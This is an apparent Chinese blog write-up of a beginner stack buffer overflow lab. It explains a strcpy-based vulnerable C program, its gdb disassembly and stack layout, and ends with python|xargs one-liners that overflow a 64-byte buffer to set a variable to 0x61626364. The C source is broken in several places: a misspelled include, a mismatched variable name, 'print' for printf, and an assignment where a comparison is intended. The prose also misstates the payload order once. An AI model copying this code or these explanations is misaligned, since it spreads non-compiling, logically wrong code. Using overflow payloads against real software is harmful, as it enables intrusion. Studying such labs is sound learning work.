缓冲区溢出2
首先介绍一下puts函数 ,从缓冲区读取一段内容打印到屏幕!
每次用到puts函数的时候会有 mov xxxxx,(%esp)我觉得这种输出格式应该满足大部分格式(输出的内容是esp指向的内容)(print函数也是)
接下来要介绍一个strcpy函数,下面是引用的一段百度百科
实际上这里所说的空间大部分是在堆栈中的
好了 进入正题
#include<stdio.h>
#incldue<string.h>
int main(int argc,char ** argv)
{
int modiafied;
char buffer[64];
if(argc==1)
{
print ("please specify an argument\n");
exit(1);
}
modified=0;
strcpy(buffer,argv[1]);
if(modified=0x61626364)
{
printf("Congratulation,you pwned it\n");
}
else
{
printf("Please try again,you got 0x%08X\n,modified");
}
return 0;
}
上面是源代码
编译后用gdb执行
这里很显然 传参数的时候首选寄存器是esp之前我看的书上
写的gcc编译器使用寄存器顺序是rdi,rsi,rdx,rcx,r8,r9应该和编译器有关吧
<+6>这里也是为堆栈分配了0x60个字节空间(这应该是一种编译器习惯吧)
<+9>这里是判断命令行传入参数个数是否为1(ebp+8)(命令行参数为1说明没有传进来参数)
<+15,+20>这两句可以看出,puts输出的是esp处的内容,puts之前对esp传值
exit传进去的值是1
<+39>参数个数不是1说明传入参数,modified变量的值位于esp+5C=0 (存放位置同上一篇一样,都是接近栈顶的地方)
<+47>跟下面这个上一篇里的图比较(下图的0x5c-0x1c才是栈空间中的数组)这里的ebp+c是之前把argv数组存放的地址
<+50>传入参数的时候,系统会默认一个argv[0]=文件名这里+4让argv除去系统默认生成的(+4能除掉说明堆栈中存放的是32位的地址)
<+53>取argv[1]的值,执行完这一句eax里面是指向argv[1]的地址
<+55>把argv[1]的地址给esp+4(现在argv[1]就是argv数组的起始地址) 也就是strcpy函数的第二个参数
<+59>buffer数组的起始地址为esp+0x1C
<+63>eax作为中间量把数据拷贝到esp 从这里看strcpy函数是靠堆栈来传递参数的(先传递第二个参数后传递第一个),这里用堆栈传递而不用寄存器传递参数的原因看下面
<+71>判断esp+0x5C处是否为0x61626364
补充:局部数据必须放在内存中的常见情况:
1.寄存器不足够存放所有的本地数据
2.对某个局部变量使用取地址运算符&,因此必须为它 产生一个地址
3.某些局部变量是数组或结构,必须通过数组或结构的引用访问到
还有一点,程序大端和小端存储方式是不一样的这里应该输入64个a+dcba才行(不能是abcd在每4个字节里按小端的存储方法,以4个字节为单位看的话存储顺序是正常的)
r 输入内容 让程序跑起来中断在断点处
x /4xb $esp+0x5c (4表示长度单位,x表示16进制,b表示单位为字节)
c 断点断下来后的程序继续执行(continue)
test是可执行文件
./test xxx xxx xxx test执行,test作为输入的第一个,xxx为后面的参数
xargs可以把数据当作命令行参数传给制定的程序:
python -c "print 'AAA BBB CCC'"|xargs ./test
python -c "print 'A'*64+'\x64\x63\x62\x61'"|xargs ./pwn2 没错,就是你猜的,传进去参数64个A+bcda (づ ̄ 3 ̄)づ
python -c "print 'A'*64+'dcba'" |xargs ./pwn2